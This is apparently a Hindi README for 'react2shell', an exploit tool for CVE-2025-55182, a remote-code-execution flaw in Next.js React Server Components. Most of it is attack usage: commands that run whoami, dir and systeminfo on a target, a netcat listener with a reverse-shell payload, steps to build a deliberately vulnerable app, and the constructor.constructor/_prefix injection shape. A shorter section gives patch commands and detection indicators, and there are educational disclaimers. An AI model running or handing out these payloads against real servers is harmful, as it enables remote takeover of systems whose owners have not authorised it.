
भेद्यता CVE-2025-55182 का शोषण करने के लिए एक संपूर्ण फ्रेमवर्क
यह CVE-2025-55182 के लिए एक proof-of-concept शोषण है, जो React Server Components का उपयोग करने वाले Next.js अनुप्रयोगों में एक गंभीर Remote Code Execution भेद्यता है।
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण के लिए है।
# Clone or download this repository
git clone https://github.com/zr0n/react2shell
cd react2shell
# Install dependencies
npm install form-data
node react2shell.js <target_url> <payload_type> [options]
node react2shell.js http://localhost:3000 basic
# Check server console for output: EXPLOITED: 50
# Get current user
node react2shell.js http://localhost:3000 whoami
# List files
node react2shell.js http://localhost:3000 dir
# System information
node react2shell.js http://localhost:3000 systeminfo
# Launch calculator
node react2shell.js http://localhost:3000 calc
# Launch notepad
node react2shell.js http://localhost:3000 notepad
node react2shell.js http://localhost:3000 file
# Check server directory for EXPLOITED.txt
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Execute exploit
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444
# Works on both Windows (PowerShell) and Linux (Bash)
# Create project directory
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app
# Initialize Next.js with vulnerable version
npx create-next-app@latest . --ts --app --no-eslint --tailwind
# Downgrade to vulnerable version
npm install [email protected]
# Install dependencies
npm install
app/page.tsx)export default function Home() {
return (
<div className="p-8">
<h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
<p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
</div>
);
}
npm run dev
# Server runs on http://localhost:3000
यह शोषण React Server Components में एक deserialization भेद्यता का लाभ उठाता है:
constructor.constructor का शोषण करता है_prefix फ़ील्ड के माध्यम से मनमाना JavaScript कोड इंजेक्ट करता है// Simplified vulnerability chain
{
_formData: {
get: '$3:constructor:constructor' // Access Function constructor
},
_prefix: 'YOUR_CODE_HERE//' // Injected code
}
तुरंत अपडेट करें:
npm update next@latest
npm update react@latest react-dom@latest
पैच किए गए संस्करण सत्यापित करें:
npm list next react
आवश्यक संस्करण:
next-action हेडर वाले संदिग्ध POST अनुरोधों की निगरानी करेंनिम्नलिखित के साथ POST अनुरोधों की तलाश करें:
next-actionmultipart/form-dataconstructor, _prefix, _formDataPOST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (successful exploitation) or 500 (failed)
यह एक शैक्षिक उपकरण है। ऐसे योगदान जो निम्नलिखित में सुधार करते हैं:
का स्वागत है। ऐसे योगदान जमा न करें जो आक्रमण क्षमताओं को बढ़ाते हैं।
केवल शैक्षिक उपयोग - कोई वारंटी प्रदान नहीं की जाती है
Luiz Fernando Ziron साइबर सुरक्षा शिक्षा और जागरूकता उद्देश्यों के लिए बनाया गया।
इस टूल का उपयोग करके, आप निम्नलिखित के लिए सहमत हैं:
अधिकांश क्षेत्राधिकारों में कंप्यूटर प्रणालियों तक अनधिकृत पहुँच एक अपराध है।
सुरक्षित रहें, नैतिक रहें, कानूनी रहें। 🔒
| पेलोड | विवरण | उदाहरण |
|---|
basic | गणितीय proof of concept (7*7+1=50) | node react2shell.js http://target:3000 basic |
whoami | वर्तमान सिस्टम उपयोगकर्ता दिखाएँ | node react2shell.js http://target:3000 whoami |
dir | वर्तमान निर्देशिका की सामग्री सूचीबद्ध करें | node react2shell.js http://target:3000 dir |
systeminfo | ऑपरेटिंग सिस्टम जानकारी दिखाएँ | node react2shell.js http://target:3000 systeminfo |
file | EXPLOITED.txt प्रूफ फ़ाइल बनाएँ | node react2shell.js http://target:3000 file |
calc | कैलकुलेटर लॉन्च करें (Windows विज़ुअल प्रूफ) | node react2shell.js http://target:3000 calc |
notepad | नोटपैड लॉन्च करें (Windows विज़ुअल प्रूफ) | node react2shell.js http://target:3000 notepad |
shell | रिवर्स शेल (Windows/Linux स्वतः पहचान) | node react2shell.js http://target:3000 shell 10.10.10.5 4444 |